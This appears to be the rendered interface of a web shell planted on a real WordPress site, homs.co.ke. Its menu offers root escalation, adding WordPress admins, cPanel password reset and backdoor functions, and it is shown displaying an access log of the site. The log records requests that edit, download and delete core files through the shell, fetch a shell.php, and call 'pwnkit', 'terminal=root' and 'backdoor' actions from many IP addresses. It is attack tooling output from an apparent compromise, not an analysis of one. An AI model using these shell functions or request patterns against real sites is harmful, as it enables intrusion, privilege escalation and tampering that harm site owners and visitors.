Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
home3
homscoke
logs
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: homs.co.ke.bkup
43.173.181.53 - - [06/Mar/2026:05:17:39 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=bookmark-template.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.84 - - [06/Mar/2026:05:17:39 -0700] "GET /?act=download&file=Exception.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg== HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.136 - - [06/Mar/2026:05:17:40 -0700] "GET /?act=download&file=Exception.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg== HTTP/1.1" 200 4208 "http://www.homs.co.ke/?act=download&file=Exception.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.81 - - [06/Mar/2026:05:17:40 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=bookmark-template.php HTTP/1.1" 200 8577 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=bookmark-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.245 - - [06/Mar/2026:05:17:39 -0700] "GET /?act=download&file=post-meta.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.169.173 - - [06/Mar/2026:05:17:42 -0700] "GET /?act=download&file=post-meta.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz HTTP/1.1" 200 4213 "http://www.homs.co.ke/?act=download&file=post-meta.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.130.102.7 - - [06/Mar/2026:05:19:10 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Jlc3QtYXBp&del=class-wp-rest-request.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.157.67.70 - - [06/Mar/2026:05:29:04 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3N0eWxlLWVuZ2luZQ==&action=pwnkit HTTP/1.1" 302 - "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.157.67.70 - - [06/Mar/2026:05:29:06 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3N0eWxlLWVuZ2luZQ==&terminal=root HTTP/1.1" 200 5587 "http://www.homs.co.ke?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3N0eWxlLWVuZ2luZQ==&action=pwnkit" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.164.195.17 - - [06/Mar/2026:05:38:44 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tZWRpYQ==&action=pwnkit HTTP/1.1" 302 - "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.164.195.17 - - [06/Mar/2026:05:38:45 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tZWRpYQ==&terminal=root HTTP/1.1" 200 7856 "http://www.homs.co.ke?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tZWRpYQ==&action=pwnkit" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.130.32.245 - - [06/Mar/2026:05:49:15 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tZWRpYQ==&action=adminer HTTP/1.1" 302 - "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.130.32.245 - - [06/Mar/2026:05:49:17 -0700] "GET /adminer.php HTTP/1.1" 409 83 "http://www.homs.co.ke?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tZWRpYQ==&action=adminer" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.130.139.177 - - [06/Mar/2026:05:50:31 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 49.51.73.183 - - [06/Mar/2026:05:59:23 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tZWRpYQ==&action=backdoor HTTP/1.1" 302 - "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 49.51.73.183 - - [06/Mar/2026:05:59:24 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tZWRpYQ==&status=success HTTP/1.1" 200 8023 "http://www.homs.co.ke?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tZWRpYQ==&action=backdoor" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 194.163.165.234 - - [06/Mar/2026:06:01:15 -0700] "GET /wp-admin/css/ HTTP/1.1" 404 - "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" homs.co.ke 10.38.197.90 43.166.226.186 - - [06/Mar/2026:06:09:16 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3N0eWxlLWVuZ2luZQ==&act=edit&file=class-wp-style-engine.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.173.175.80 - - [06/Mar/2026:06:09:19 -0700] "GET /?act=download&file=shell.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQvRGlmZi9FbmdpbmU= HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.142 - - [06/Mar/2026:06:09:20 -0700] "GET /?act=download&file=constants.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbGli HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.117 - - [06/Mar/2026:06:09:20 -0700] "GET /?act=edit&file=edit.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2JyZTIzOTE5 HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.15 - - [06/Mar/2026:06:09:20 -0700] "GET /?act=edit&file=speculative-loading.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.169.33 - - [06/Mar/2026:06:09:20 -0700] "GET /?del=SMTP.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg== HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.106 - - [06/Mar/2026:06:09:20 -0700] "GET /?del=php84compat_const.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbGli HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.163.23.35 - - [06/Mar/2026:06:09:20 -0700] "GET /?act=download&file=constants.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbGli HTTP/1.1" 200 4260 "http://www.homs.co.ke/?act=download&file=constants.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbGli" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.168 - - [06/Mar/2026:06:09:20 -0700] "GET /?act=download&file=shell.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQvRGlmZi9FbmdpbmU= HTTP/1.1" 200 4264 "http://www.homs.co.ke/?act=download&file=shell.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQvRGlmZi9FbmdpbmU=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.169.17 - - [06/Mar/2026:06:09:20 -0700] "GET /?act=edit&file=edit.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2JyZTIzOTE5 HTTP/1.1" 200 7634 "http://www.homs.co.ke/?act=edit&file=edit.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2JyZTIzOTE5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.168 - - [06/Mar/2026:06:09:20 -0700] "GET /?act=edit&file=speculative-loading.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 7876 "http://www.homs.co.ke/?act=edit&file=speculative-loading.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.132 - - [06/Mar/2026:06:09:20 -0700] "GET /?act=download&file=class-wp-font-utils.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ZvbnRz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.208 - - [06/Mar/2026:06:09:20 -0700] "GET /?del=SMTP.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg== HTTP/1.1" 200 4832 "http://www.homs.co.ke/?del=SMTP.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.170 - - [06/Mar/2026:06:09:21 -0700] "GET /?act=edit&file=feed-rdf.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.182 - - [06/Mar/2026:06:09:21 -0700] "GET /?del=php84compat_const.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbGli HTTP/1.1" 200 6103 "http://www.homs.co.ke/?del=php84compat_const.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbGli" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.215 - - [06/Mar/2026:06:09:21 -0700] "GET /?act=download&file=class-wp-block-parser-frame.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.185 - - [06/Mar/2026:06:09:21 -0700] "GET /?act=download&file=class-wp-font-utils.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ZvbnRz HTTP/1.1" 200 4168 "http://www.homs.co.ke/?act=download&file=class-wp-font-utils.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ZvbnRz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.18 - - [06/Mar/2026:06:09:21 -0700] "GET /?act=edit&file=feed-rdf.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 5588 "http://www.homs.co.ke/?act=edit&file=feed-rdf.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.42 - - [06/Mar/2026:06:09:22 -0700] "GET /?act=download&file=class-wp-block-parser-frame.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-block-parser-frame.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.217 - - [06/Mar/2026:06:13:32 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-simplepie-sanitize-kses.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.173.98 - - [06/Mar/2026:06:13:32 -0700] "GET /?act=download&file=class-wp-post.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.172.242 - - [06/Mar/2026:06:13:32 -0700] "GET /?act=download&file=class-oembed.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.118 - - [06/Mar/2026:06:13:32 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-locale-switcher.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.178.236 - - [06/Mar/2026:06:13:32 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=template.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.108 - - [06/Mar/2026:06:13:32 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-simplepie-sanitize-kses.php HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-simplepie-sanitize-kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.173.171 - - [06/Mar/2026:06:13:32 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-date-query.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.97 - - [06/Mar/2026:06:13:32 -0700] "GET /?act=download&file=post.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.62 - - [06/Mar/2026:06:13:32 -0700] "GET /?act=download&file=class-wp-post.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=class-wp-post.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.173.14 - - [06/Mar/2026:06:13:33 -0700] "GET /?act=download&file=class-oembed.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=class-oembed.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.152 - - [06/Mar/2026:06:13:33 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-locale-switcher.php HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-locale-switcher.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.180.125 - - [06/Mar/2026:06:13:33 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-date-query.php HTTP/1.1" 200 16303 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-date-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.135 - - [06/Mar/2026:06:13:33 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=template.php HTTP/1.1" 200 12388 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.173 - - [06/Mar/2026:06:13:34 -0700] "GET /?act=download&file=post.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=post.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" mail.homs.co.ke 10.38.197.90 52.167.144.227 - - [06/Mar/2026:06:14:40 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=l10n HTTP/1.1" 200 57649 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 43.130.141.193 - - [06/Mar/2026:06:19:11 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3N0eWxlLWVuZ2luZQ==&del=class-wp-style-engine-processor.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.173.179.85 - - [06/Mar/2026:06:19:29 -0700] "GET /?act=download&file=ms-blogs.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 173.252.70.21 - - [06/Mar/2026:06:21:54 -0700] "GET /robots.txt HTTP/1.1" 206 342 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" www.homs.co.ke 10.38.197.90 173.252.70.2 - - [06/Mar/2026:06:21:54 -0700] "GET /robots.txt HTTP/1.1" 206 342 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" www.homs.co.ke 10.38.197.90 57.141.14.124 - - [06/Mar/2026:06:21:55 -0700] "GET /?n=24838841031440& HTTP/1.1" 200 390144 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" www.homs.co.ke 10.38.197.90 43.157.62.101 - - [06/Mar/2026:06:29:24 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3N0eWxlLWVuZ2luZQ==&del=class-wp-style-engine-css-declarations.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 124.156.157.91 - - [06/Mar/2026:06:38:39 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=admin-bar.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 43.155.129.131 - - [06/Mar/2026:06:48:38 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=author-template.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 14.215.163.132 - - [06/Mar/2026:07:03:53 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) 